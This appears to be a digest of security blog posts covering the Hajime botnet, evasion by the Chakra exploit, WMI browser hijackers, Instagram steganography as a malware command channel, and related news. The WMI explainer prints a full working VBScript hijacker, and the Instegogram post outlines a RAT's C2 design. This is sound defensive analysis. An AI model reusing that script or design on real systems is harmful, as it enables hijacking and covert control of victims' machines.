4 Server: thttpd/2.25b-lxc 29dec2003
3 Server: Router Webserver
2 Server: GoAhead-Webs
2 Server: JAWS/1.0 May 26 2014
2 Server: nginx/1.4.4
1 Server: DNVRS-Webs
1 Server: IPCamera-Webs
1 Server: IPCamera-Webs/2.5.0
1 Server: JAWS/1.0 Aug 21 2013
1 Server: JAWS/1.0 Jul 9 2013
1 Server: JAWS/1.0 Jun 13 2013
1 Server: JAWS/1.0 Jun 25 2013
1 Server: JAWS/1.0 Mar 20 2014
1 Server: JAWS/1.0 May 13 2013
1 Server: Microsoft-IIS/7.5
1 Server: Web server
1 Server: WebServer
Web interface “title” statistics
315 NETSurveillance WEB
84 WEB SERVICE
37 NETSuveillance WEB
36 IVSWeb 2.0 – Welcome
21
9 main page
6 NEUTRON
4 WEB SURVEILLANCE
3 CPPLUS DVR –Web View
2 IVSWeb 2.0 – Добро пожаловать
2 IVSWEB_TITLE – IVSWEB_LOGIN_TITLE
2 replace
1 CPPLUS DVR–Web View
1 GIGA Security
1 IIS7
1 iProview Web 2.0 – Welcome
1 IVSWeb 2.0 – Hoş geldiniz
1 IVSWeb 2.0 – Witamy
1 WATASHI SERVICE

Geography of infected peers as DHT seeders

Throughout the research period, at least 15,888 unique infected boxes were revealed, though this number is not very accurate. All of them were seeding Hajime config.

Hajime, the mysterious evolving botnet

Distribution of infected boxes by country
Iran 2285 14.38%
Vietnam 1819 11.45%
Brazil 1102 6.94%
Turkey 911 5.73%
China 909 5.72%
Taiwan 805 5.07%
Russia 747 4.70%
India 642 4.04%
Korea 624 3.93%
Mexico 542 3.41%
Others 5502 34.63%
Total 15888

Geoip of infected peers as DHT leechers

This method revealed 297,499 unique infected hosts during the research period. All of them were requesting Hajime config.

Hajime, the mysterious evolving botnet

Distribution of leechers by country
Iran 58465 19.65%
Brazil 26188 8.80%
Vietnam 23418 7.87%
Russia 22268 7.49%
Turkey 18312 6.16%
India 16445 5.53%
Pakistan 14069 4.73%
Italy 10530 3.54%
Taiwan 10486 3.52%
Australia 9436 3.17%
Others 87882 29.54%
Total 297499

Conclusion

The most intriguing thing about Hajime is its purpose. While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven’t seen it being used in any type of attack or malicious activity. And maybe this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed through stdout while the new configuration is being processed:

Example message:

Hajime, the mysterious evolving botnet

Whether the author’s message is true or not remains to be seen. Nevertheless, we advise owners of IoT devices to change the password of their devices to one that’s difficult to brute force and to update the firmware if possible.

Kaspersky Labs products detect this threat as Backdoor.Linux.Hajime.

Appendix

Hardcoded IP subnetworks avoided by Hajime:

85.159.0.0/16 Ukraine; Region Vinnyts’ka Oblast’
109.201.0.0/16 Iran, Islamic Republic of; Region Tehran
77.247.0.0/16 Germany Virtela Communications Inc Amsterdam, NL POP
169.255.0.0/16 South Africa; Region Gauteng

0.0.0.0/8 IANA – Local Identification
3.0.0.0/8 General Electric Company
15.0.0.0/8 Hewlett-Packard Company
16.0.0.0/8 Hewlett-Packard Company
56.0.0.0/8 US Postal Service
224.0.0.0/4 Multicast

United States Department of Defense:

6.0.0.0/8
7.0.0.0/8
11.0.0.0/8
21.0.0.0/8
22.0.0.0/8
26.0.0.0/8
28.0.0.0/8
29.0.0.0/8
30.0.0.0/8
33.0.0.0/8
55.0.0.0/8
214.0.0.0/8
215.0.0.0/8

Private networks:

192.168.0.0/16
172.16.0.0/12
127.0.0.0/8
10.0.0.0/8
100.64.0.0/10
198.18.0.0/15

25 Apr 11:18

Hard Target: Fileless Malware

by Tom Spring
Researchers say fileless in-memory malware attacks have become a major nuisance to businesses and have become even harder to detect and defend.
28 Feb 13:24

The Chakra Exploit and the Limitations of Modern Mitigation Techniques

by Aaron Lamb

Last November, Microsoft released a security update for Microsoft Edge which included patches for vulnerabilities CVE-2016-7200 and CVE-2016-7201, which were discovered by Google Project Zero.  Earlier this year, a proof-of-concept (POC) exploit was published by Brian Pak, demonstrating that the two vulnerabilities can be used together to gain exploitation. Shortly afterwards, they were included in several popular exploit kits.  The exploit kit implementations appear to be largely a cut/paste of the POC.

The POC has weaknesses, which I will discuss, but in its primitive form, it managed to bypass all of Microsoft's exploit mitigations. The POC demonstrates how the right kinds of vulnerabilities can still neutralize very sophisticated anti-exploit technologies and gain execution. CVE-2016-7200 is a type confusion bug in the array.filter function of chakra.dll.  For the purposes of this post, it allows an attacker to determine the address of an object created on the heap. CVE-2016-7201 is another type confusion bug in chakra.dll, this time in JavascriptArray::FillFromPrototypes.  It is used to provide the attacker with read/write abilities on arbitrary memory.

Microsoft has a steady track record of implementing exploit mitigation technologies, ranging from EMET, at one time the industry standard in exploit prevention tools, to the built-in mitigations incorporated into Windows 10 and Edge.  An exploit – even an unweaponized one – that bypasses these technologies is interesting and can help us understand the current state of exploit prevention.

At Endgame, we constantly test our exploit detection and prevention capabilities against the latest threats to ensure we continue to provide the most robust defenses available.  We became extremely interested in this POC as it highlighted several areas where further research was required, and has already resulted in stronger protections for our customers.

In this post, I won't be looking at the vulnerabilities in depth, but instead will focus on the weak spots in current exploit mitigation techniques that are highlighted by the minimalist POC.  I will walk through a typical exploit attack chain as it applies to the Chakra POC, and illustrate how we must continue to raise the costs for in-the-wild exploits through more innovative approaches to prevention.

exploitation.png

 

The Stages of Exploitation

 

Memory Preparation

Most exploits require a preparation step that puts something controlled by the attacker (e.g., ROP, shellcode) in memory in a known location prior to gaining execution.  This step can take many forms and is often referred to as heap grooming, or one of its subsets, heap spraying.  While most of these techniques are difficult to detect with high confidence, it often offers the first chance for defenders to detect that something malicious is happening.

Heap spray mitigations come in two main flavors – detectors and disruptors.  Detectors, like NOZZLE, monitor allocations and inspect memory for indicators of malicious behavior. Disruptors, like BuBBle and DieHarder, attempt to reduce the reliability of heap sprays by increasing allocation randomization, blocking NOP-sleds, or protecting addresses commonly used by exploits (0x0c0c0c0c, etc.).

An entire chain of blog posts can be dedicated to the cat-and-mouse game of preparing memory for exploitation and detecting such actions.  Let's leave that for another day and skip to the simplest method to bypass detection at this stage.  The solution enabled by CVE-2016-7200, and chosen by any attacker if given the choice – avoids memory preparation altogether.

Technically, CVE-2016-7200 does prepare memory in the broadest sense, but it does so with the precision of a scalpel, making it very unlikely that any current mitigation technique will notice.

The implementation of CVE-2016-7200 can be seen below:

Screen Shot 2017-02-23 at 10.48.17 AM.png

PutDataAndGetAddr() is used once for the memory leak (discussed later):

Screen Shot 2017-02-23 at 10.50.03 AM.png

And again to place shellcode:

Screen Shot 2017-02-23 at 10.50.53 AM.png

As you can see, there are few allocations, no NOP-sled is required, and the data is mostly benign (the shellcode data could be detected as code, but would be very difficult to label as malicious).

 

Vulnerability Preparation

No mitigations to speak of in this step, and there isn't much to write about because actions taken here are dependent on the vulnerabilities involved and the path to execution chosen by the attacker.

The Chakra POC uses CVE-2016-7201 at this point to create read/write capabilities that will be used later.

 

Memory Disclosure

With the introduction of address space layout randomization (ASLR), and now near universal enforcement, attackers need to take one extra step in their path to exploitation. They need to orient themselves by finding the address of their target module in memory.

Since the Chakra POC already has the address of an object and read/write primitives, acquiring the base address of chakra.dll is simply a matter of grabbing the vtable from our object, finding the address of one of its functions, and subtracting the appropriate offset based on the dll version.

 Screen Shot 2017-02-23 at 10.58.54 AM.png

Payload Preparation

In order to be the most effective across a wide range of operating systems and target versions, many exploits dynamically determine the locations of functions necessary for exploitation (e.g, VirtualProtect, VirtualAlloc, etc.).  This lookup is most often accomplished by searching the export address table of a target dll.  A good example of this is the PE.as module often used in Flash exploits:

Screen Shot 2017-02-23 at 11.02.33 AM.png

Mitigations, such as Microsoft EMET's EAF/EAF+, exist to detect this behavior by blocking access to DLL headers from unauthorized locations.

The Chakra POC avoids this check by using hard-coded addresses where a lookup would traditionally be required.

Screen Shot 2017-02-23 at 11.04.21 AM.png

There is an inherent weakness in this approach.  The use of hard-coded offsets in an exploit is useful in defeating some existing exploit mitigations, but by and large, this practice is detrimental to widespread usage and effectiveness. Hard-coded addresses increase exploit development time and require constant updating to survive in a dynamic target environment.

 

Code Execution

Next up, an attacker must interrupt the intended flow of execution and begin executing his/her own agenda.  Traditionally, this has been done by pivoting the stack pointer to attacker-controlled memory.  A common mitigation at this point is for security products to occasionally verify that the stack pointer actually points to the current thread's stack.

The Chakra POC passes these checks by placing its ROP directly on the stack.

Endgame employs HA-CFI, which helps ensure the integrity of code execution, and has been very successful in preventing most exploits. HA-CFI can detect unusual control flow and stops most exploits before the stack pointer has been modified. Often, the stack pivot is the first gadget in the ROP (discussed next) and is usually the first abnormality in the flow of execution.  

Microsoft utilizes Control Flow Guard(CFG) with similar goals.  CFG adds an additional check to indirect calls to ensure they are being directed to valid targets.

The Chakra POC, thanks in large part to hard-coded addresses, hijacks the return address for ScriptEngine::ExecutePendingScripts and gains control of the stack when the exploit script completes.  No indirect calls are required, and unusual code flow is avoided, thus bypassing HA-CFI and CFG. 

 

Return Oriented Programming (ROP)

ROP is a standard method of transitioning to full control of execution. This step is most often required when the attacker's shellcode resides in non-executable memory.  

A lot of research has been conducted in detecting ROP, which has resulted in several techniques being deployed in security products.

1.  Sanity checks on critical functions.  The thought here is that if an attacker is forced to use ROP, he/she likely will need to use one of a short list of functions, such as CreateProcess or VirtualProtect to move on to payload execution.  Whenever these functions are called, a series of checks can be performed to detect badness.

      a. stack pointer integrity
      b.stack integrity
      c. return address is call-preceded
      d. VirtualProtect does not attempt to make stack executable

2.  Code simulation.  Mitigations employed by Microsoft's EMET and ROPGuard simulate execution beyond the current critical function for a short period to detect ROP-like behavior.
3.  Hardware.  kBouncer makes use of hardware performance monitors to detect ROP-like behavior.

 

chakra2.png

Chakra POC ROP

 

The Chakra POC does use a ROP (shown above), but it has several characteristics that make it very difficult for any of these techniques to detect.  First, the ROP contains only two gadgets plus a return to shellcode.  This eliminates HW-assisted gadget-chaining detection, like kBouncer, which requires longer ROP chains to reach high enough confidence in malicious activity.  Second, the VirtualProtect call is made through a legitimate function that wraps VirtualProtect. This makes the stack appear normal when it reaches any checks at VirtualProtect.

The combination of the second ROP gadget and APIHook_VirtualProtect provide plenty of legitimate code for simulation techniques to inspect and feel good about as they inspect code following VirtualProtect.

 

Conclusion

The Chakra POC is a good case study in exploit mitigation evasion techniques, and I really only scratched the surface.  The techniques used in this POC are not new, and in fact, most have been around for quite some time.  They were used for two reasons: 1) The vulnerabilities themselves allowed their use; 2) The mitigations built into Windows 10 and Edge necessitated their use.  We know that vulnerabilities will continue to exist, which leads the defensive focus to exploit detection and prevention.  Software vendors like Microsoft, Google, Adobe, and many others have invested significant resources in the detection/prevention fight.  Hardware vendors like Intel are joining the struggle as well.  And security companies like Endgame offer even more capabilities to stop adversaries.  Every mitigation potentially adds some cost to an attacker.  Our job is to make that cost as high as possible.

The Chakra POC and the ongoing discovery of in-the-wild exploits highlights that the cost is not yet high enough, and the attackers are still getting through.  It demonstrates that Windows 10 and Edge do not provide the safe haven so many have claimed.  At Endgame, we continue to develop innovative exploit detection/prevention capabilities to raise the cost by analyzing the latest exploits and integrating prevention techniques to stop even the most creative attackers at the earliest stage of the attack chain.

 

 

09 Feb 18:25

World, Meet MalwareScore

by Hyrum Anderson, Jonathan Woodbridge, Phil Roth

Sharing ideas, tools, and techniques among our community of defenders makes everyone sharper and safer. To that end, we previously received third party certification, joined AMTSO, have published and presented in peer-reviewed settings, and have otherwise participated openly in the broader infosec community.  Continuing this pursuit of community engagement, we are pleased to announce that we have integrated MalwareScore™, Endgame's proprietary machine learning-powered malware detection and prevention engine, into VirusTotal.

While MalwareScore™ has been available to Endgame customers since last year as the earliest deployment of machine learning in our security platform, its worldwide availability through VirusTotal merits a broader explanation of its scope and design.

 

Scope: Prevent and Detect Executable Malware with Machine Learning

Endgame’s approach to protecting the endpoint relies on unified and tightly-integrated layers of behavioral protection mechanisms that each cover a swath of an attacker’s life cycle.  These layers include exploit prevention, prevention of attacker techniques, detection of fileless attacks and signature-less malware detection.  Protection against malware is a foundational element of an endpoint security solution, preventing adversaries who may have gained access to an endpoint from establishing persistence, installing backdoors, or executing ransomware, for example.

Critical to a modern malware prevention and detection solution is independence from rules, signatures and IOCs that are inherently reactive since they are derived from post-breach forensics.  While these traditional practices have their place, holistic prevention and detection must rely on a less brittle solution.  As detailed in our whitepaper last year, we built MalwareScore™ as the foundation for preventative malware protection using machine learning because it provides many advantages, including:

  • a unified way to generalize to never-before-seen malware samples, families and variants (signatureless);
  • an automated means to adapt malware prevention to emerging trends observed in malware or discovered by researchers; and
  • deep insights learned from complex predictive relationships in the data that might only otherwise yield weak hand-crafted indicators of maliciousness.

 

Design: Lightweight but Lethal

Our design philosophy in MalwareScore™ was to include a machine learning model as one piece of a suite of tightly-integrated protective layers, with no need for cloud connectivity, and with a unified user experience.  As such, from the get-go, we had three primary requirements in scoping our malware prevention models:

  • extremely small footprint,
  • rapid execution (low CPU utilization), and
  • very high detection rate at extremely low false positive rates.

After rigorous competitive analysis, we believe we've punctuated each objective with an exclamation point. For a typical executable file, our model takes 5 ms to evaluate, with a memory footprint of roughly 5 MB. It reproduces malicious and benign labels of our holdout validation sets with an area under the ROC curve (AUC) of 0.9997.  In practice, this allows our customers to achieve a true positive rate exceeding 99% at false positive rates below 1:1000.  And, as our own harshest critics, we're continuously and relentlessly in pursuit of improvements to our models and methodology.

 

Deployment: MalwareScore™ in Action

MalwareScore™ prevents malicious Windows executables from running on customers’ endpoints using wholly on-sensor machine learning models.  In addition, Endgame computes a MalwareScore™  for each PE file that is created or modified on an endpoint and triggers an alert for executables with a sufficiently high MalwareScore™. Endgame provides several user-selectable settings for MalwareScore™ to allow customers to adjust their detection and prevention postures to be either more conservative or more aggressive.  

MalwareScore™ is a tightly integrated feature within our endpoint protection platform.  For deployment in VirusTotal, we extracted and wrapped the MalwareScore™ product feature as a standalone scanner that examines all incoming PE files.  As deployed in VirusTotal, MalwareScore™ currently outputs three categories: benign, malicious (moderate confidence), and malicious (high confidence).  

 

Strengthening Defenses through Machine Learning

Machine learning and artificial intelligence are exciting fields that have many applications to security.  In addition to MalwareScore™, Endgame is applying machine learning and artificial intelligence to other areas to help defenders detect, prevent and respond to malicious activity in other phases of the attacker’s life cycle.  

Our team at Endgame leveraged years of previous experience building data-driven products to research, develop, rigorously test and deploy MalwareScore™ into the Endgame platform.  Today’s inclusion into VirusTotal provides a tremendous opportunity to assist security analysts worldwide and is a validating step for MalwareScore™. But we’re not done yet! We’re continually improving MalwareScore™, aggressively seeking out corner cases and solving those problems through data collection and curation, engineering, and maintaining the perspective of an attacker.  Stay tuned as we incorporate updates to our endpoint detection and response product offering into the VirusTotal scanner in the months to come.

We welcome your input to continue helping us support the community. Please send any feedback to: vt_feedback@endgame.com 

03 Feb 15:55

Saturday Morning Breakfast Cereal - The Multiverse Explained

by tech@thehiveworks.com


Click here to go see the bonus panel!

Hovertext:
A lot of physics makes sense if you imagine it's designed by a tech billionaire with a confusing vision.

New comic!
Today's News:

Why Do Birds Sing? From BAHFest Sydney 2016

07 Nov 18:04

Hacking in the Movies

by Bruce Schneier

New Atlas has a great three-part feature on the history of hacking as portrayed in films, including video clips. The 1980s. The 1990s. The 2000s.

07 Nov 16:27

Yes, the FBI can review 650,000 emails in 8 days

by Robert Graham
In today's news, Comey announces the FBI have reviewed all 650,000 emails found on Anthony Wiener's computer and determined there's nothing new. Some have questioned whether this could be done in 8 days. Of course it could be -- those were 650,000 emails to Wiener, not Hillary.




Reading Wiener's own emails, those unrelated to his wife Huma or Hillary, is unlikely to be productive. Therefore, the FBI is going to filter those 650,000 Wiener emails to get at those emails that were also sent to/from Hillary and Huma.

That's easy for automated tools to do. Just search the From: and To: fields for email addresses known to be used by Hillary and associates. For example, search for hdr29@hrcoffice.com (Hillary's current email address) and ha16@hillaryclinton.com (Huma Abedin's current email).

Below is an example email header from the Podesta dump:

From: Jennifer Palmieri <jpalmieri@hillaryclinton.com>
Date: Sat, 2 May 2015 11:23:56 -0400
Message-ID: <-8018289478115811964@unknownmsgid>
Subject: WJC NBC interview
To: H <hdr29@hrcoffice.com>, John Podesta <john.podesta@gmail.com>,
Huma Abedin <ha16@hillaryclinton.com>, Robby Mook <re47@hillaryclinton.com>,
Kristina Schake <kschake@hillaryclinton.com>

This is likely to filter down the emails to a manageable few thousand.

Next, filter the emails for ones already in the FBI's possession. The easiest way is using the Message-ID: header. It's a random value created for every email. If a Weiner email has the same Message-ID as an email already retrieved from Huma and Hillary, then the FBI can ignore it.

This is then like to reduce the number of emails need for review to less than a thousand, or less than 100, or even all the way down to zero. And indeed, that's what NBC news is reporting:




The point is is this. Computer geeks have tools that make searching the emails extremely easy. Given those emails, and a list of known email accounts from Hillary and associates, and a list of other search terms, it would take me only a few hours to do reduce the workload from 650,000 emails to only a couple hundred, which a single person can read in less than a day.

The question isn't whether the FBI could review all those emails in 8 days, but why the FBI couldn't have reviewed them all in one or two days. Or even why they couldn't have reviewed them before Comey made that horrendous announcement that they were reviewing the emails.





06 Oct 14:55

Explained: WMI hijackers

by Pieter Arntz

Windows Management Instrumentation (WMI) hijackers are proving to be a plague to remove for the average user. Even experienced users may be stumped if they run into one and don’t know where to look.

What are they?

To explain why they are so hard to find requires an introduction to WMI. As the name Windows Management Instrumentation implies, this is a set of tools that manage devices and applications in a Windows environment. This includes (remotely) changing system settings, properties, and permissions. One problem is that it’s not recommended to disable WMI, as you might with WScript, because it is also in use for system critical operations (e.g. the Windows Update).

So why is it so hard to find the malware?

The actions to be executed by the WMI are scripted either in Visual Basic or Powershell and stored in a special repository. To view them, you will need to use special tools like WMI Explorer:

wmiexplorer

Effectively, the script to be executed is hidden from the user, and the script (as a file) isn’t stored on the system. Which is why it is considered as another fileless infection. WMI techniques were used by malware like Stuxnet in the past.

WMI also offers a great deal of tools to gather information about a system or a network.

How are the bad guys using WMI?

To answer this, let’s first understand how a WMI script is executed normally on a Windows system. In this case, the execution of the script is done by the “ASEC” instance of ActiveScriptEventConsumer. Below is the code for a WMI script hijacker that we’re going to use as an example:

Dim objFS:Set objFS = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Const link = http://9o0gle.com/
Const linkChrome = " --load-extension=""C:\Users\{username}1\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk"" http://9o0gle.com/"
browsers = Array("IEXPLORE.EXE", "firefox.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe","chrome.exe","360chrome.exe")
ChromeBrowsers = Array("chrome.exe","360chrome.exe")
Set BrowserDic = CreateObject("scripting.dictionary")
For Each browser In browsers
  BrowserDic.Add LCase(browser), browser
Next
Set ChromeBrowserDic = CreateObject("scripting.dictionary")
For Each ChromeBrowser In ChromeBrowsers
  ChromeBrowserDic.Add LCase(ChromeBrowser), ChromeBrowsers
Next
Dim FoldersDic(12)
Set WshShell = CreateObject("Wscript.Shell")
FoldersDic(0) = "C:\Users\Public\Desktop"
FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu"
FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(4) = "C:\Users\{username}\Desktop"
FoldersDic(5) = "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu"
FoldersDic(6) = "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
FoldersDic(7) = "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(8) = "C:\Users\{username}\AppData\Roaming"
FoldersDic(9) = "C:\Users\{username}\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch"
FoldersDic(10) = "C:\Users\{username}\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu"
FoldersDic(11) = "C:\Users\{username}\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
Set fso = CreateObject("Scripting.Filesystemobject")
For i = 0 To UBound(FoldersDic)
  For Each file In fso.GetFolder(FoldersDic(i)).Files
    If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
      set oShellLink = WshShell.CreateShortcut(file.Path)
      path = oShellLink.TargetPath
      name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
      If BrowserDic.Exists(LCase(name)) Then
        If ChromeBrowserDic.Exists(LCase(name)) Then
          oShellLink.Arguments = linkChrome
        else
          oShellLink.Arguments = link
        End if
        If file.Attributes And 1 Then
          file.Attributes = file.Attributes – 1
        End If
        oShellLink.Save
      End If
    End If
  Next
Next
createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0

Effectively, this WMI script hijacker sample looks for browser shortcuts in a list of folders. It then appends the hijacker’s URL—in this instance, 9o0gle.com—to these shortcuts, so when users double-click the Firefox browser shortcut, for example, the said .com site is also opened.

shortcut

For Chrome-based browsers, a special extension is loaded. This extension is dropped to the drive, making this infection not completely fileless.

So far, every WMI hijacker we have seen belongs to the same family often referred to as Yeabests, which is after the domain the users are hijacked to.

File details

Malwarebytes detects this WMI hijacker as PUP.Optional.Elex.ClnShrt. Some elements of the resulting infection are detected as the more general PUP.Optional.WMIHijacker.ClnShrt. More details can be found in or removal guide for 9o0gle on the forums.

SHA1 9o0gle.exe:  ea6445c8e29b134d11d512c2faca974b91468ef9

Users of Malwarebytes Anti-Malware Premium are protected against this hijacker—

protection1

—and the connections the infection tries to make.

protection2

Summary

This post describes how WMI hijackers work and why they are hard to find on an affected system. It also shows an example of such a hijacker.

Additional reading

As always, save yourself the hassle and get protected.

Pieter Arntz

26 Sep 13:49

Google rushes in where Akamai fears to tread, shields Krebs after world's-worst DDoS

by Darren Pauli

600 Gbps traffic flood overwhelmed CDN

Google has provided free distributed denial of service attack (DDoS) mitigation services to security publication Krebs on Security, stepping in after Akamai withdrew support.…

26 Sep 13:46

MacOS Sierra Breaks Popular Keygens, Pirate Finds Fix

by Andy

core-keygenThose who prefer to pirate rather than pay for their software often face installation issues. These range from the very simple to the fairly complex, depending on the strength of the anti-piracy technology deployed by manufacturers.

At the lower end of the scale, users are sometimes required to input a fake serial number into their software. This is achieved by running a key generator or “keygen”, a tool bundled with a pirate release by the team who cracked it.

This is often straightforward but for users of the macOS Sierra, the latest update to the Mac operating system currently being rolled out by Apple, things are proving problematic.

When people try to run keygens and cracks that are bundled with many Mac pirate software releases, the tools break and offer the following error report.

“Termination Reason: EXEC, [0xc] This UPX compressed binary contains an invalid Mach-O header and cannot be loaded,” the message reads.

According to Mac Kung Fu, it is keygens’ reliance on a free multiplatform executable packer that is causing the issues.

“[The problem] occurs because the creators of the hacks and keygens use the popular open source UPX app to package their code but subsequently attempt to cover their tracks by erasing any mention of the app, including the vital markers to compressed data. This confuses macOS Sierra, causing the error,” the report notes.

Searches on popular torrent sites do indeed reveal a fairly widespread problem. In particular, there are many complaints noted by users of keygens published by popular piracy release group CORE.

upx-1

Several users commenting on CORE releases that have been uploaded to The Pirate Bay are reporting similar issues but the problems aren’t isolated in English-speaking areas. As suggested by the image below, the problem is widespread.

upx-2

UPX’s developers have been made aware of the issues since they affect more than just keygens and cracks. It’s reported that v3.92 of UPX will address the problem.

However, that won’t fix the broken keygens and cracks already available online. People who have already upgraded to MacOS Sierra will find that these tools won’t work, effectively taking that pirate software out of the marketplace for them.

But of course, pirates are an ingenious bunch and the thirst for free software is a great motivator. That has already prompted a user called zerocoolroot to find a fix, which reportedly works.

upx-3

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

26 Sep 13:43

VBA and P-code, (Mon, Sep 26th)

I want to draw your attention to some great work Dr ...

31 Aug 12:43

Instegogram: Leveraging Instagram for C2 via Image Steganography

by alimbago

Social media sites are frequently used for stealthy malware command and control (C2). Because many hosts on most networks communicate with popular social media sites regularly, it is very easy for a C2 channel hiding in this traffic to appear normal. Further, there are often rich APIs for communicating via social media sites allowing a malware author to easily and flexibly use the services for malicious purposes. Blocking the HTTP and HTTPS connections to these sites generally is infeasible since it would likely cause a revolt amongst the workforce. Security researchers have discovered multiple malware campaigns that have used social media for C2 capabilities. For example, Twitter has been used to direct downloaders to websites for installing other malware or for controlling botnets. Further, the information posted to a social media site may be obfuscated or Base64 encoded. Even if the malicious social media content is discovered, it would require an astute defender to recognize the intent.

Separately, a few malware strains (e.g., ZeusVM banking trojan) have used image steganography to very effectively disguise information required to operate malware. The stego image represents an effective decoy, with information subtly encoded within something that is seemingly innocuous. This can make malicious intent difficult to uncover. In the case of ZeusVM, an encoded image contained a list of financial institutions that the malware was targeting. However, even a close look at the image would not reveal the presence of a payload. The image payloads were discovered only because the stego images were retrieved on a server containing other malicious files.

We combine these two methods for hiding in plain sight and demonstrate "Instegogram", wherein we hide C2 messages in digital images posted to the social media site Instagram. We presented this research earlier this month at Defcon’s Crypto Village, as part of our larger research efforts that leverage our knowledge of offensive techniques to build more robust defenses. Since our research aims to help inform and strengthen defenses, we conclude with a discussion of some simple approaches for preventing steganographic C2 channels on social media sites, such as bit jamming methods and analysis of user account behaviors.

A Brief History of Steganography

Steganography is the art of hiding information in plain sight and has been used by spies for centuries to conceal information within other text or data. Recently, digital image steganography has been used to obfuscate configuration information for malware. The following timeline contains a brief history of steganography used in actual malware case studies:

 

JPEG-Robust Image Steganography Techniques & Instagram

Digital image steganography involves altering bits within an image to conceal a message payload.  Let’s say Alice encodes a message in some of the bits of a cover image and sends the stego image (with message payload) to Bob, who decodes the message using a private key that he shares with Alice. If Eve intercepts the image in transit, she is oblivious to the fact that the stego image contains any message at all since the image appears to be totally legitimate both digitally and to the human eye.  

A simple steganography approach demonstrates how this is possible.  Alice wants to encode the bits 0100 into an image whose first 4 pixels are 0x81, 0x80, 0x7f, 0x7e.  Alice and Bob agree (private key) that the message will be encoded in row-major order in the image using the least significant bit (LSB) to determine the message bit.  Since the LSBs of the first 4 pixels are 1010, Alice must flip the LSBs of the first three pixels so that the LSBs are equal to the desired message bits.  Since modifying the LSBs of a few pixels changes the pixel intensity by 1/255, the stego image appears identical to the original cover image.

 

Additionally, since Instagram re-encodes uploaded images in JPEG/JFIF form, the steganography encoding for Instegogram must be robust against JPEG compression artifacts.

JPEG images are compressed by quantizing coefficients of a 2D block discrete cosine transform (DCT).  The DCT transformation is applied after a color transformation from RGB to YCbCr color space which consists of a luminance (Y) channel, and two chrominance channels, blue (Cb) and red (Cr).  The DCT transformation on each channel has the effect of condensing most of the image block’s information into a few upper-left (low frequency) coefficients in the DCT domain.  The lossy data compression step in JPEG comes in by applying an element-wise quantization to each coefficient in the DCT coefficient image, with the amount of quantization per coefficient determined by a quantization table specified in the JPEG file.  The resulting quantized coefficients (integers) are then compactly encoded to disk.

 

One method of encoding a message in a JPEG image is to encode the message bits in the quantized DCT coefficients rather than the raw image pixels, since there are no subsequent lossy steps.  But for use with Instagram, an additional step is required. Upon upload, Instagram standardizes images by resizing and re-encoding them using the JPEG file format.  This presents two pitfalls in which the message can be clobbered in the quantized DCT coefficients: (1) if Alice's stego image is resized, the raw DCT coefficients can change, since the 8x8 block in the original image may map to a different rectangle in the resized image; (2) if Alice's stego image is recompressed using a different quantization table, this so-called double-compression can change the LSBs that may contain the secret message.

To prevent the effects of resizing, all cover images can be resized to a size and aspect ratio that Instagram will accept without resizing.  To prevent the double-compression problem, the quantization table can be extracted from an existing Instagram image. During the course of this research and monitoring the tables, it appears that this quantization table is used across all Instagram images.  Messages are then encoded in images that use those same quantization tables.

A number of other standard practices can be used to provide additional robustness against image manipulations that might occur upon upload to Instagram.  First, pre-encoding the message payload using error correcting coding allows one to retrieve the message even when some bits become corrupted.  For small messages, the encoded message can be repeated in the image bits until all image bits have been used.  A message storing format that includes a header to specify the message length allows the receiver to determine when the message ends and a duplicate copy begins.  Finally, for a measure of secrecy, simple methods for generating a permutation of pixel locations (for example, a simple linear congruential generator with shared seeds between Alice and Bob) can communicate to Bob the order in which the message bits are arranged in the image.

Instegogram Overview

Digital image steganography can conceal any message.  Stego is appealing and compelling to malware authors for malware C2 because of its inherent stealthiness.  Hosting C2 on social media sites is also appealing for the same reason - it is stealthy because it is hard to filter out or identify maliciousness.  Instegogram combines these two capabilities - digital image steganography and the use of social media for C2 - to mirror the utilization of social networks for C2 that has increased for years, while exploring the feasibility of using stego on a particular site - Instagram.

The delivery mechanism for our proof of concept (POC) malware was chosen based on today’s most commonly used infiltration methods -  a successful spearphish that causes the user to open a document and run a malicious macro. The remote access trojan (RAT) is configured to communicate with specific Instagram accounts that we control, and on which we’ll POST request images containing messages encoded with our steganographic scheme. The malware includes a steganographic decoder that extracts a payload from each downloaded image, allowing arbitrary command execution on the remote system.

The malicious app continuously checks the Instagram account feed for the next command image, decodes the shell command, and executes it to trigger whatever nefarious behavior is requested in the command.  Results are embedded steganographically in another image which is posted to the same account.  

As with any steganographic scheme, there is a limited number of characters which can be sent through the channel. In this simple POC, 40 characters could be reliably transmitted in the JPEG stego images.  The capacity can be increased using more robust coding techniques as discussed previously.

In short, once the remote system is compromised, encoded images can be posted from the command machine using Instagram’s API. The remote system will download the image, decode it, execute the encoded commands, encode the results in another image, and post back to Instagram. This process can be repeated at will.  This attack flow is depicted in the graphic below.

 

Our Instegogram POC was built on Mac OSX, specifically as an uncertified MacOs app developed in obj-c.  To execute our POC, we needed to bypass Apple’s built in Gatekeeper protection, which enforces code signing requirements on downloaded applications and thereby makes it more difficult for adversaries to launch a malicious application on an endpoint. We discovered a Gatekeeper bypass, disclosed it to Apple, and are currently working with Apple on a fix.  

Instagram API and Challenges

